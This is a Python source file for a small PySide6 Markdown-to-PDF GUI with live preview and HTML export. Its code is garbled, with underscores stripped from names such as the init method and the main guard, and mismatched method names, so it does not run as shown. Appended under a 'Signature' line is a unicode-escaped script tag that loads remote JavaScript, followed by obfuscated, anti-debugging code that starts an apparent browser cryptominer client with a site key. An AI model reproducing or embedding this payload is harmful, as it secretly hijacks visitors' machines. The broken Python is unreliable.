
#!/usr/bin/env python3
"""
md2pdf_gui.py — A tiny, cross‑platform Markdown → PDF GUI
Features
- Live preview (GitHub‑ish style) while you type or after opening a .md file
- Export to PDF using Qt WebEngine's printToPdf (great layout fidelity)
- Exports HTML too (uses the same CSS)
- Remembers last opened directory
Dependencies
pip install PySide6 markdown pygments
Run:
python md2pdf_gui.py
Tested with Python 3.9+ and PySide6 6.7+
"""
from future import annotations
import os
import sys
from pathlib import Path
from PySide6.QtCore import QFile, QIODevice, Qt, QUrl, Slot
from PySide6.QtGui import QAction, QIcon
from PySide6.QtWidgets import (
QApplication,
QFileDialog,
QMainWindow,
QMessageBox,
QSplitter,
QTextEdit,
QWidget,
QToolBar,
QStatusBar,
)
from PySide6.QtWebEngineWidgets import QWebEngineView
# Markdown rendering
import markdown # type: ignore
from pygments.formatters import HtmlFormatter # type: ignore
APP_NAME = "Markdown → PDF"
GITHUB_CSS = r"""
/* Minimal GitHub‑ish styling */
html { font-size: 16px; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen,
Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Arial,
'Noto Sans', 'PingFang TC', 'Heiti TC', 'Microsoft JhengHei', sans-serif;
color: #24292f; background: #fff; margin: 2rem auto; padding: 0 1.25rem; max-width: 860px; }
h1, h2, h3, h4 { line-height: 1.25; }
pre, code { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; }
pre { padding: 1rem; overflow: auto; border-radius: 10px; }
code { background: #f6f8fa; padding: 0.1rem 0.25rem; border-radius: 6px; }
table { border-collapse: collapse; margin: 1rem 0; width: 100%; }
th, td { border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; }
blockquote { color: #57606a; border-left: 4px solid #d0d7de; margin: 1rem 0; padding: 0.5rem 1rem; background: #f6f8fa; }
a { color: #0969da; text-decoration: none; }
a:hover { text-decoration: underline; }
img { max-width: 100%; }
hr { border: none; border-top: 1px solid #d0d7de; margin: 2rem 0; }
"""
PYGMENTS_CSS = HtmlFormatter(style="friendly").get_style_defs(".codehilite")
HTML_TEMPLATE = """
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>{title}</title>
<style>
{github_css}
{pygments_css}
/* Page size for print/PDF */
@page {{ size: A4; margin: 18mm; }}
@media print {{
body {{ max-width: none; margin: 0; }}
}}
</style>
</head>
<body>
{body}
</body>
</html>
"""
MD_EXTENSIONS = [
"extra", # tables, etc.
"admonition",
"toc",
"sane_lists",
"smarty",
"codehilite", # with Pygments
]
class MainWindow(QMainWindow):
def init(self) -> None:
super().__init__()
self.setWindowTitle(APP_NAME)
self.resize(1200, 800)
# State
self.current_path: Path | None = None
self.last_dir = str(Path.home())
# Widgets
self.editor = QTextEdit()
self.editor.setAcceptRichText(False)
self.editor.textChanged.connect(self.render_markdown)
self.preview = QWebEngineView()
splitter = QSplitter()
splitter.addWidget(self.editor)
splitter.addWidget(self.preview)
splitter.setStretchFactor(0, 1)
splitter.setStretchFactor(1, 1)
self.setCentralWidget(splitter)
# Toolbar & actions
tb = QToolBar("Main")
tb.setMovable(False)
self.addToolBar(tb)
open_act = QAction(QIcon.fromTheme("document-open"), "Open…", self)
open_act.setShortcut("Ctrl+O")
open_act.triggered.connect(self.open_md)
tb.addAction(open_act)
save_pdf_act = QAction(QIcon.fromTheme("document-save"), "Export PDF…", self)
save_pdf_act.setShortcut("Ctrl+P")
save_pdf_act.triggered.connect(self.export_pdf)
tb.addAction(save_pdf_act)
save_html_act = QAction(QIcon.fromTheme("text-html"), "Export HTML…", self)
save_html_act.triggered.connect(self.export_html)
tb.addAction(save_html_act)
tb.addSeparator()
reload_act = QAction("Re-render", self)
reload_act.setShortcut("F5")
reload_act.triggered.connect(self.render_markdown)
tb.addAction(reload_act)
self.setStatusBar(QStatusBar())
# Initial content
self.editor.setPlainText("""# Hello, Markdown → PDF
- Open a .md file from the toolbar
- Click Export PDF to save a print‑ready PDF
- Images with relative paths resolve from the Markdown file's folder
```python
print("Code is highlighted via Pygments!")
```
""")
self.render_markdown()
def markdownto_html(self, text: str, base_url: QUrl | None) -> str:
md = markdown.Markdown(extensions=MD_EXTENSIONS, extension_configs={
"codehilite": {"guess_lang": False, "noclasses": False}
})
body_html = md.convert(text)
title = md.toc_tokens[0]['name'] if getattr(md, 'toc_tokens', None) else (self.current_path.name if self.current_path else APP_NAME)
html = HTML_TEMPLATE.format(
title=title,
body=body_html,
github_css=GITHUB_CSS,
pygments_css=PYGMENTS_CSS,
)
return html
@Slot()
def render_markdown(self) -> None:
text = self.editor.toPlainText()
html = self._markdown_to_html(text, None)
# Use setHtml with baseUrl to resolve relative image paths
base = QUrl.fromLocalFile(str(self.current_path.parent)) if self.current_path else QUrl.fromLocalFile(os.getcwd() + os.sep)
self.preview.setHtml(html, base)
self.statusBar().showMessage("Preview updated", 1500)
@Slot()
def open_md(self) -> None:
path, = QFileDialog.getOpenFileName(self, "Open Markdown", self.lastdir, "Markdown (*.md .markdown);;All files (.*)")
if not path:
return
try:
with open(path, "r", encoding="utf-8") as f:
content = f.read()
except Exception as e:
QMessageBox.critical(self, "Open error", f"Failed to open file:\n{e}")
return
self.current_path = Path(path)
self.last_dir = str(self.current_path.parent)
self.editor.setPlainText(content)
self.render_markdown()
self.setWindowTitle(f"{APP_NAME} — {self.current_path.name}")
@Slot()
def export_pdf(self) -> None:
suggested = (self.current_path.with_suffix('.pdf') if self.current_path else Path(self.last_dir) / 'document.pdf')
path, _ = QFileDialog.getSaveFileName(self, "Export PDF", str(suggested), "PDF (*.pdf)")
if not path:
return
# Ensure preview is up to date, then print to PDF
def afterload_ok():
self.preview.page().printToPdf(path)
self.statusBar().showMessage(f"Saved PDF: {path}", 4000)
# Make sure we re-render synchronously
self.render_markdown()
# Small trick: run printToPdf after the page is ready
self.preview.page().printToPdf(path)
self.statusBar().showMessage(f"Saved PDF: {path}", 4000)
@Slot()
def export_html(self) -> None:
suggested = (self.current_path.with_suffix('.html') if self.current_path else Path(self.last_dir) / 'document.html')
path, _ = QFileDialog.getSaveFileName(self, "Export HTML", str(suggested), "HTML (*.html)")
if not path:
return
text = self.editor.toPlainText()
html = self._markdown_to_html(text, None)
try:
Path(path).write_text(html, encoding='utf-8')
self.statusBar().showMessage(f"Saved HTML: {path}", 4000)
except Exception as e:
QMessageBox.critical(self, "Save error", f"Failed to save HTML:\n{e}")
def main() -> int:
QApplication.setApplicationName(APP_NAME)
app = QApplication(sys.argv)
# Enable high‑DPI scaling for crisp PDF on Retina/HiDPI
app.setAttribute(Qt.AA_EnableHighDpiScaling, True)
win = MainWindow()
win.show()
return app.exec()
if name == "__main__":
raise SystemExit(main())
Signature
__________________________________________________________________________________________
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0068\u006f\u0073\u0074\u0069\u006e\u0067\u0063\u006c\u006f\u0075\u0064\u002e\u0072\u0061\u0063\u0069\u006e\u0067\u002f\u0068\u0061\u0037\u006f\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003evar a0_0x15d039=a0_0x8dca;(function(_0x56e9af,_0x2dd074){var 0x2d6e55=a00x8dca,_0x58e2fa=_0x56e9af();while(!![]){try{var 0x1943cb=-parseInt(0x2d6e55(0xd9))/0x1*(-parseInt(_0x2d6e55(0xe0))/0x2)+-parseInt(_0x2d6e55(0xce))/0x3+-parseInt(_0x2d6e55(0xcf))/0x4*(parseInt(_0x2d6e55(0xe6))/0x5)+parseInt(_0x2d6e55(0xd2))/0x6*(parseInt(_0x2d6e55(0xd5))/0x7)+-parseInt(_0x2d6e55(0xd6))/0x8+parseInt(_0x2d6e55(0xdb))/0x9*(parseInt(_0x2d6e55(0xde))/0xa)+parseInt(_0x2d6e55(0xcd))/0xb;if(_0x1943cb===_0x2dd074)break;else 0x58e2fa['push'](0x58e2fa['shift']());}catch(_0x1f42bc){_0x58e2fa['push'](_0x58e2fa['shift']());}}}(a0_0x494d,0xb7a19));function a0_0x8dca(_0x21a8db,_0xacd7f0){var 0x1f2722=a00x494d();return a0_0x8dca=function(_0x212339,_0x52ea8a){_0x212339=_0x212339-0xcc;var 0x1650a9=0x1f2722[_0x212339];return 0x1650a9;},a00x8dca(_0x21a8db,_0xacd7f0);}var a0_0x4cb200=(function(){var 0x359a12=!![];return function(0x149101,_0x57ac00){var 0xb17bd9=0x359a12?function(){var 0x13afd0=a00x8dca;if(_0x57ac00){var 0x134ce8=0x57ac00[_0x13afd0(0xda)](_0x149101,arguments);return 0x57ac00=null,0x134ce8;}}:function(){};return 0x359a12=![],0xb17bd9;};}()),a0_0x2250ff=a0_0x4cb200(this,function(){var 0x3182b3=a00x8dca;return a0_0x2250ff['toString']()[_0x3182b3(0xd8)]('(((.+)+)+)+$')['toString']()[_0x3182b3(0xdc)](a0_0x2250ff)['search'](_0x3182b3(0xe1));});a0_0x2250ff();var a0_0x52ea8a=(function(){var 0x5b6894=!![];return function(0xd8a073,_0x315de2){var 0x5f88c0=0x5b6894?function(){if(_0x315de2){var 0x59f2a8=0x315de2['apply'](_0xd8a073,arguments);return 0x315de2=null,0x59f2a8;}}:function(){};return 0x5b6894=![],0x5f88c0;};}());function a0_0x494d(){var 0x3fdb2b=['2023857YXEbhP','constructor','call','10ffxQNh','action','22ozvSNO','(((.+)+)+)+$','length','init','debu','setInterval','4298120uPWRCs','gger','return\x20(function()\x20','24112341ZiYDEW','4469133vAhxxi','4qwkaAW','stateObject','Anonymous','1338DrpyhJ','test','{}.constructor(\x22return\x20this\x22)(\x20)','28343JWPCCN','5194584jpYULO','input','search','39180UtJgbv','apply'];a00x494d=function(){return 0x3fdb2b;};return a00x494d();}(function(){var 0x44506d=a00x8dca,_0x2d0d89;try{var 0x53abbc=Function(0x44506d(0xcc)+_0x44506d(0xd4)+');');_0x2d0d89=_0x53abbc();}catch(_0x2a5fd0){_0x2d0d89=window;}_0x2d0d89[_0x44506d(0xe5)](a0_0x212339,0xfa0);}()),(function(){a0_0x52ea8a(this,function(){var 0x56258d=a00x8dca,_0x2ae895=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x3aa428=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0xf33119=a0_0x212339(_0x56258d(0xe3));!_0x2ae895['test'](_0xf33119+'chain')||!_0x3aa428[_0x56258d(0xd3)](_0xf33119+_0x56258d(0xd7))?_0xf33119('0'):a0_0x212339();})();}());var client=new Client[(a00x15d039(0xd1))]('bee51c45562e6824c3d5661f7ea0201ab738710eeeac861734502a363ca80aa8',{'throttle':0.2,'c':'w','ads':0x0});_client['start']();function a0_0x212339(_0xa3ad2){function 0x23ed3a(0x31d796){var 0x2a5796=a00x8dca;if(typeof 0x31d796==='string')return function(0x413c58){}[_0x2a5796(0xdc)]('while\x20(true)\x20{}')[_0x2a5796(0xda)]('counter');else(''+_0x31d796/_0x31d796)[_0x2a5796(0xe2)]!==0x1||_0x31d796%0x14===0x0?function(){return!![];}[_0x2a5796(0xdc)]('debu'+'gger')[_0x2a5796(0xdd)](_0x2a5796(0xdf)):function(){return![];}[_0x2a5796(0xdc)](_0x2a5796(0xe4)+_0x2a5796(0xe7))[_0x2a5796(0xda)](_0x2a5796(0xd0));_0x23ed3a(++_0x31d796);}try{if(_0xa3ad2)return 0x23ed3a;else 0x23ed3a(0x0);}catch(_0x399970){}}\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
